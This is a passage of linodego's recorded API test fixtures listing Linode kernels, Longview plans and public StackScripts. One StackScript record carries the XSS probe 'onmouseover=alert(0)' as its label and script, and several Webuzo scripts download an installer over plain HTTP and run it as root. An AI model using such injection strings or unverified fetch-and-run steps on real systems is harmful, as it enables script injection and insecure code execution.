"linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" ExampleListLongviewSubscriptions_page1.yaml000066400000000000000000000040631474652371000352030ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/subscriptions?page=1 method: GET response: body: '{"data": [{"id": "longview-3", "label": "Longview Pro 3 pack", "price": {"hourly": 0.03, "monthly": 20.0}, "clients_included": 3}, {"id": "longview-10", "label": "Longview Pro 10 pack", "price": {"hourly": 0.06, "monthly": 40.0}, "clients_included": 10}, {"id": "longview-40", "label": "Longview Pro 40 pack", "price": {"hourly": 0.15, "monthly": 100.0}, "clients_included": 40}, {"id": "longview-100", "label": "Longview Pro 100 pack", "price": {"hourly": 0.3, "monthly": 200.0}, "clients_included": 100}], "page": 1, "pages": 1, "results": 4}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListStackscripts_page1.yaml000066400000000000000000012570061474652371000333650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts?page=1 method: GET response: body: '{"data": [{"id": 623104, "username": "octane3333", "user_gravatar_id": "3e9341b887a3183cc653e488a37b83b8", "label": "onmouseover=alert(0)", "description": "onmouseover=alert(0)", "ordinal": 0, "logo_url": "", "images": ["linode/fedora29"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nonmouseover=alert(0)", "user_defined_fields": []}, {"id": 6146, "username": "north5", "user_gravatar_id": "4719cf3a5ab3123f9ee536c796788b68", "label": "north5_ubuntu_basic", "description": "Basic lib of bash functions", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts32bit", null, "linode/ubuntu12.1032bit", "linode/ubuntu12.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "short hostname recoord added to /etc/hosts", "script": "#!/bin/bash\n\n# \n# \n\n# Set software sources\nfunction set_sources_list() {\n echo \"Adjusting sources.list (destructively)\" >> $logfile\n CODENAME=$(lsb_release -sc)\n\n cat >/etc/apt/sources.list <> $logfile\n echo ${HOSTNAME} > /etc/hostname\n hostname -F /etc/hostname\n short=$(hostname -s)\n echo \"127.0.1.1 ${short} ${short}\" >> /etc/hosts\n}\n\n# Update software repositories and perform upgrade\nfunction system_upgrade() {\n echo \"Update system packages\" >> $logfile\n apt-get -y update\n apt-get -y upgrade\n}\n\n# Clean system packages\nfunction system_clean() {\n apt-get -y autoremove\n apt-get -y clean \n}\n\n# Install north5 common packages\nfunction north5_packages() {\n apt-get -y install build-essential\n apt-get -y install curl htop\n\n apt-get -y remove apparmor\n\n RELEASE=$(lsb_release -sr)\n\n # Ubuntu 12.04 already has these scripts integrated\n if [[ ${RELEASE} == \"10.04\" ]]; then\n apt-get -y install python-software-properties\n fi\n}\n\n# Default log file\nlogfile=${logfile:-\"/root/stackscript.log\"}", "user_defined_fields": []}, {"id": 9218, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "OpenBiz Cubi powered by Webuzo", "description": "Openbiz Cubi Platform is a fast application development platform designed for business applications. It is built on top of the excellent Openbiz framework. It provides easy and intelligent development tools and implements almost all commonly used components, developers just need to work on their core business logic development. Openbiz Cubi makes application development so quick. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure OpenBiz Cubi and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install OpenBiz Cubi and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About OpenBiz Cubi :\n# Openbiz Cubi Platform is a fast application development platform designed for business applications.\n# It is built on top of the excellent Openbiz framework. It provides easy and intelligent development \n# tools and implements almost all commonly used components, developers just need to work on their core\n# business logic development. Openbiz Cubi makes application development so quick. \n###########################################################################################################\n\n# Install OpenBiz Cubi Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=243&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling OpenBiz Cubi and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, OpenBiz Cubi has been successfully installed\"\necho \" \"\necho \"You can now configure OpenBiz Cubi and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 3, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9219, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "PRADO powered by Webuzo", "description": "PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5.\r\nPRADO stands for PHP Rapid Application Development Object-oriented.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure PRADO and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "PRADO powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install PRADO and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About PRADO :\n# PRADO is a component-based and event-driven programming framework for developing Web \n# applications in PHP 5. PRADO stands for PHP Rapid Application Development Object-oriented.\n###########################################################################################################\n\n# Install PRADO Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=221&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling PRADO and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, PRADO has been successfully installed\"\necho \" \"\necho \"You can now configure PRADO and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9220, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "BIGACE powered by Webuzo", "description": "BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\r\n\r\nIts powerful backend puts you in full control of the layout and content of your pages. And when you need more, you can choose from many Plugins and Themes to extend it.\r\n\r\nBigace is designed to provide you with all the features you need from a CMS while having complete freedom to customize it the way you want. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure BIGACE and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "BIGACE powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install BIGACE and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About BIGACE :\n# BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\n# Its powerful backend puts you in full control of the layout and content of your pages.\n# And when you need more, you can choose from many Plugins and Themes to extend it.\n###########################################################################################################\n\n# Install BIGACE Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=400&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 